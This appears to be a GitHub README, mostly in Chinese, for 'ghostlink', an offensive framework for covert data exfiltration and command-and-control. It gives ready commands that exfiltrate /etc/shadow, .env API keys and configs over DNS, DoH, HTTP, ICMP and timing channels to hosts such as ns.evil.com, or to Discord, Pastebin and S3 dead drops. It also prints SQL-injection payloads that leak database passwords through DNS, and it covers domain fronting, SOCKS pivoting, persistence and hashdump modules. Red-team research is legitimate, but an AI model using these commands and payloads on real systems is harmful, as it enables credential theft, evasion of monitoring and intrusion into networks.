jankesec/ghostlink

GitHub: jankesec/ghostlink

一款面向高限制网络环境的红队隐蔽通信与数据外泄框架,通过 9 种隐蔽通道绕过 DPI/IDS 监控并支持交互式 C2。

Stars: 0 | Forks: 0

# Ghostlink **多通道 OOB 数据外泄框架 — 包含 9 种隐蔽通道、FEC、死信箱、SQLi payload 以及可选的 C2。** [![Go](https://img.shields.io/badge/Go-1.21+-00ADD8?style=flat&logo=go)](https://go.dev) [![License](https://img.shields.io/badge/license-MIT-blue)](LICENSE) [![Channels](https://img.shields.io/badge/covert_channels-9-green)]() [![Encryption](https://img.shields.io/badge/crypto-ECDHE%20%7C%20AES--256--GCM-red)]() [![Version](https://img.shields.io/badge/version-1.0-orange)]() Ghostlink **不是通用的 C2**。它是一款专门用于**在其他所有路径都被封锁时将数据传输出去**的精密工具。如果 Sliver 和 Cobalt Strike 是军队,那么 Ghostlink 就是手术刀 —— 它专门针对由 DPI、IDS 和严格防火墙监控的环境,在这些环境中,传统的 C2 流量会瞬间被标记。 ## 三种模式,一个工具 | 模式 | 用途 | 命令 | |---|---|---| | **Exfil** | 通过 9 种隐蔽通道进行即发即忘的数据外泄 | `-exfil`, `-exfil-glob` | | **Dead Drop** | 外泄到第三方服务(无需 C2 服务器) | `-dead-drop` | | **C2** | 交互式 shell、SOCKS5、端口转发、模块 | `-shell`, `-exec`, `-socks` | ## 架构 ``` SENDER RECEIVER ┌──────────────┐ ┌──────────────┐ plaintext ──>│ AES-256-GCM │ │ AES-256-GCM │──> plaintext │ encrypt │ │ decrypt │ └──────┬───────┘ └──────^───────┘ │ │ ┌──────v───────┐ ┌──────┴───────┐ │ zlib │ │ zlib │ │ compress │ │ decompress │ └──────┬───────┘ └──────^───────┘ │ │ ┌──────v───────┐ ┌──────┴───────┐ │ FEC encode │ │ FEC decode │ │ (XOR parity) │ │ (reassemble) │ └──────┬───────┘ └──────^───────┘ │ │ ┌──────v───────┐ ┌──────┴─────────┐ │ frame split │ │frame reassemble│ │ (seq + CRC) │ │ (seq + CRC) │ └──────┬───────┘ └──────^─────────┘ │ │ ┌──────v───────────────────────────────────────┴───────┐ │ ADAPTIVE CHANNEL SELECTOR │ │ entropy scoring · failover · rotate │ └──┬────┬────┬────┬────┬────┬────┬────┬────┬──────────┘ │ │ │ │ │ │ │ │ │ v v v v v v v v v DNS DoH HTTP WS ICMP ISN IPID Time PktSz ``` ## 隐蔽通道 | # | 通道 | 标志 | 技术 | 隐蔽性 | 吞吐量 | |---|---------|------|-----------|---------|------------| | 1 | **DNS** | `-channel dns` | TXT 查询隧道,base64 标签 | 0.85 | 高 | | 2 | **DoH** | `-channel doh` | DNS-over-HTTPS (RFC 8484),绕过 DNS 监控 | 0.96 | 高 | | 3 | **HTTP** | `-channel http` | Cookie/User-Agent 标头走私,浏览器模拟 | 0.90 | 高 | | 4 | **WebSocket** | `-channel websocket` | 持久双向隧道,与 Web 应用混合 | 0.92 | 高 | | 5 | **ICMP** | `-channel icmp` | Echo request/reply 负载嵌入 | 0.75 | 高 | | 6 | **TCP ISN** | `-channel tcp_isn` | 初始序列号隐写(每个 SYN 2 字节) | 0.70 | 低 | | 7 | **IP ID** | `-channel ip_id` | IPv4 标识字段调制(每个数据包 2 字节) | 0.72 | 低 | | 8 | **Timing** | `-channel timing` | 数据包间延迟编码(bit0=50ms, bit1=150ms) | 0.95 | ~40 bps | | 9 | **Packet-size** | `-channel packet_size` | Payload 大小调制(每个数据包 3 比特) | 0.80 | ~300 bps | ## 快速开始 ``` git clone https://github.com/byjanke/ghostlink && cd ghostlink go build -o ghostlink-server ./cmd/server go build -o ghostlink-client ./cmd/client ``` ## 数据外泄(主要用例) ### 即发即忘的文件外泄 发送文件并退出。没有 shell,没有会话,只把数据发出去。 ``` # Server ./ghostlink-server -channel dns -addr 0.0.0.0:5353 -key op # Client — 单文件 ./ghostlink-client -channel dns -addr 10.0.0.5:5353 -key op -exfil /etc/shadow # Server 输出: # [exfil] 接收到 shadow (1024 bytes) -> ./exfiltrated/shadow_1 [sha256:a1b2c3d4] ``` ### 基于 Glob 的外泄与内容过滤 ``` # Exfiltrate 所有 .env 文件,仅保留匹配 API_KEY 或 SECRET 的行 ./ghostlink-client -channel http -addr C2:8080 -ecdhe \ -exfil-glob "/var/www/**/*.env" \ -exfil-filter "API_KEY|SECRET|DATABASE_URL" # Exfiltrate 1MB 以下的所有 configs ./ghostlink-client -channel doh \ -addr "ns.evil.com@https://cloudflare-dns.com/dns-query" \ -ecdhe -exfil-glob "/etc/**/*.conf" -exfil-max 1048576 ``` ### 具有前向纠错功能的多路径外泄 将单个文件并行拆分到 N 个通道。丢失任何一个通道都不会丢失数据。 ``` # 使用 FEC(8 个 data + 3 个 parity shards)。即使 3 个通道被阻断,数据也能存活。 ./ghostlink-client -multi-path dns,http,icmp,websocket \ -addr C2:5353 -key op -multi-path-fec -exfil large_db.sql ``` ### 死信箱外泄(零 C2 基础设施) 无需 C2 服务器即可外泄到公共服务。 ``` # Discord webhook ./ghostlink-client -dead-drop discord \ -dead-drop-url "https://discord.com/api/webhooks/xxx/yyy" \ -exfil /etc/shadow # 通用 webhook ./ghostlink-client -dead-drop webhook \ -dead-drop-url "https://your-server.com/collect" \ -exfil-glob "/var/www/**/*.env" # Pastebin ./ghostlink-client -dead-drop pastebin \ -dead-drop-url "https://pastebin.com/api/api_post.php" \ -dead-drop-key "YOUR_PASTEBIN_API_KEY" \ -exfil /tmp/sensitive.txt # S3 ./ghostlink-client -dead-drop s3 \ -dead-drop-bucket "backup-logs" \ -dead-drop-region "us-east-1" \ -dead-drop-key "AKIAXXX:secret" \ -exfil /var/log/auth.log ``` ## SQLi OOB Payload 生成器 生成用于 DNS/HTTP OOB 数据外泄的 SQL 注入 payload。支持 MySQL、MSSQL、Oracle、PostgreSQL。 ``` # Server 端生成 ./ghostlink-server -channel dns -addr 0.0.0.0:5353 # 在 c2 console 中: c2> sqli mysql ns.evil.com "SELECT password FROM mysql.user LIMIT 1" === MySQL DNS OOB Payloads === (domain: ns.evil.com) # 方法 1:LOAD_FILE(需要 FILE privilege,Windows UNC 路径) SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM mysql.user LIMIT 1), '.ns.evil.com\\a')); # 方法 2:提取所有表 SELECT LOAD_FILE(CONCAT('\\\\', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), '.ns.evil.com\\a')); ``` ## C2 功能(交互模式) ### 权威 DNS 模式 通过真实的 DNS 层级结构进行隧道传输。适用于仅允许内部 DNS 的企业防火墙之后。 ``` # C2 server(权威 NS) sudo ./ghostlink-server -domain ns.example.com -addr 0.0.0.0:53 # Implant ./ghostlink-client -domain ns.example.com -exec "whoami; hostname" ``` ### 加密 | 模式 | 标志 | 描述 | |---|---|---| | **ECDHE** | `-ecdhe` | 每个会话进行 P-256 密钥交换。前向保密。 | | **PSK** | `-key ` | SHA-256 派生密钥。AES-256-GCM,每条消息使用随机 12 字节 nonce。 | | **Plain** | *(默认)* | 无加密。仅原始隐蔽通道。 | ### DNS-over-HTTPS(绕过 DNS 监控) ``` ./ghostlink-server -channel doh -addr 0.0.0.0:443 -ecdhe ./ghostlink-client -channel doh -addr http://C2:443 -ecdhe -exec "whoami" # 通过 Cloudflare(流量看起来像正常的 DoH) ./ghostlink-client -channel doh \ -addr "ns.evil.com@https://cloudflare-dns.com/dns-query" \ -ecdhe -exec "cat /etc/shadow" ``` ### SOCKS5 代理 ``` ./ghostlink-server -channel websocket -addr 0.0.0.0:8443 -ecdhe ./ghostlink-client -channel websocket -addr C2:8443 -ecdhe -socks 1080 curl --socks5 127.0.0.1:1080 http://internal.corp:8080/admin proxychains nmap -sT -Pn 10.10.10.0/24 ``` ### 多通道跳频 ``` ./ghostlink-client -hop dns,http,websocket -addr C2:5353 -ecdhe # [hop] dns -> http -> websocket -> dns(30s 轮换) ``` ### 域前端 ``` ./ghostlink-client -channel http -addr C2:443 -ecdhe -front ajax.googleapis.com ``` ### 金丝雀 / 触发线模式 检测通道中断并自动响应。 ``` ./ghostlink-client -channel dns -addr C2:5353 -key op -canary -exfil /etc/shadow # 如果 DNS 监控阻断了该通道: # [canary] 通道降级 —— 切换至备用通道 # [canary] 通道静默 —— 静默 24 小时 # [canary] 通道已死 ``` ### Beacon 抖动配置 ``` ./ghostlink-client -channel http -addr C2:8080 -ecdhe -jitter office ./ghostlink-client -channel doh -addr C2:443 -ecdhe \ -jitter low_slow -reconnect -retries 50 ``` ### 会话持久化 自动重连并采用指数退避。 ``` ./ghostlink-client -channel dns -addr C2:5353 -key op -reconnect -retries 20 -shell ``` ### 多会话 C2 控制台 ``` ghostlink v1.0 | dns | 0.0.0.0:5353 | PSK | proto v2 [*] waiting for connections... [+] session from 10.0.0.5:42891 [+] session #1 registered c2> sessions [*] 1 active session(s): * #1 — 10.0.0.5:42891 c2> exec whoami [*] command sent to session #1: whoami [result] root c2> exfils [*] 2 exfiltrated files: shadow_1 (1024 bytes) .env_1 (512 bytes) c2> sqli mysql ns.evil.com "SELECT password FROM mysql.user LIMIT 1" ``` **服务器命令:** `sessions`, `use `, `kill `, `exec `, `shell`, `upload`, `download`, `ping`, `modules`, `run`, `sqli`, `exfils`, `help` ## 外泄证明 每个外泄的文件都会收到一个 SHA-256 确认: ``` [exfil] received shadow (1024 bytes) -> ./exfiltrated/shadow_1 [sha256:a1b2c3d4] ``` 植入体收到:`[exfil] server ack: OK:shadow:a1b2c3d4` ## 前向纠错 在基于 UDP 的通道(DNS、ICMP、IP ID、Timing)上丢失的数据包不会损坏数据。基于 XOR 的奇偶校验分片能够实现完整的数据重建。 - 4KB 数据 → 4 个数据分片 + 2 个奇偶校验分片(33% 冗余,容忍丢失 2 个分片) - 100KB 数据 → 12 个数据分片 + 4 个奇偶校验分片(33% 冗余,容忍丢失 4 个分片) - 根据数据大小自动调整 ## 后渗透模块 8 个内置模块:`sysinfo`, `portscan`, `ps`, `netstat`, `env`, `screenshot`, `persist`, `hashdump` ``` c2> run sysinfo c2> run portscan 10.10.10.0/24 22,80,443,3389 c2> run persist cron /tmp/implant ``` ## C 植入体 轻量级 C 植入体(编译后约 30KB),零依赖。 ``` gcc -Os -s -o ghostimpl implant/ghostimpl.c ./ghostimpl dns 10.0.0.5 53 ns.evil.com "whoami" ``` ## DNS 侦察 ``` ./ghostlink-client -dns-recon ``` 探测解析器可用性、记录类型支持,并推荐最佳通道。 ## 对比 | | Ghostlink | Sliver | dnscat2 | Cloak | |---|---|---|---|---| | **用途** | OOB 外泄 + C2 | 完整 C2 平台 | DNS 隧道 | C2 | | 隐蔽通道 | **9** | 3-4 | 1 | 1 | | DNS-over-HTTPS | 是 | — | — | — | | TCP ISN / IP ID 隐写 | **是** | — | — | — | | Timing / Pkt-size | **是** | — | — | — | | 死信箱 (Discord/S3) | **是** | — | — | — | | SQLi OOB 生成器 | **是** | — | — | — | | 多路径 + FEC | **是** | — | — | — | | 前向纠错 | **是** | — | — | — | | 金丝雀 / 触发线 | **是** | — | — | — | | 外泄证明 (SHA-256) | **是** | — | — | — | | SOCKS5 代理 | 是 | 是 | — | — | | 多会话 C2 | 是 | 是 | — | — | | Beacon 抖动配置 | 5 个配置 | 内置 | — | — | | 域前端 | 是 | 是 | — | 是 | | C 植入体 | 是 | — | — | — | ## 协议 Ghostlink v1.0 使用协议版本 2: ``` v2 message format (8 bytes header): [version:1][type:1][stream_id:4][payload_len:2][payload:N] Message types (v1.0): Shell: Stdin(0x01), Stdout(0x02), Stderr(0x03) Cmd: Req(0x04), Res(0x05) File: Put(0x06), GetReq(0x07), GetChunk(0x08) Fwd: Connect(0x10), Data(0x11), Close(0x12) Socks: Connect(0x13), Data(0x14), Close(0x15) Ping: Ping(0x20), Pong(0x21) Session: Reconnect(0x30), ID(0x31) Module: List(0x40), Exec(0x41), Result(0x42) Exfil: File(0x50), Glob(0x51), Ack(0x52), Chunk(0x53) DeadDrop: Send(0x54), Ack(0x55) Canary: Alert(0x60), Check(0x61) Error: Error(0xFF) ``` ## 免责声明 本工具仅供**授权的红队评估、渗透测试和安全研究使用**。在您不拥有或未获得明确测试许可的网络上进行未经授权的使用是非法的。 ## 许可证 MIT — 见 [LICENSE](LICENSE) [![Buy Me a Coffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-sevbandonmez-FFDD00?style=flat&logo=buymeacoffee&logoColor=black)](https://www.buymeacoffee.com/sevbandonmez)
标签:DNS 反向解析, EVTX分析, Go语言, 命令与控制(C2), 数据窃取, 日志审计, 程序破解, 网络信息收集, 网络安全, 隐私保护, 隐蔽通信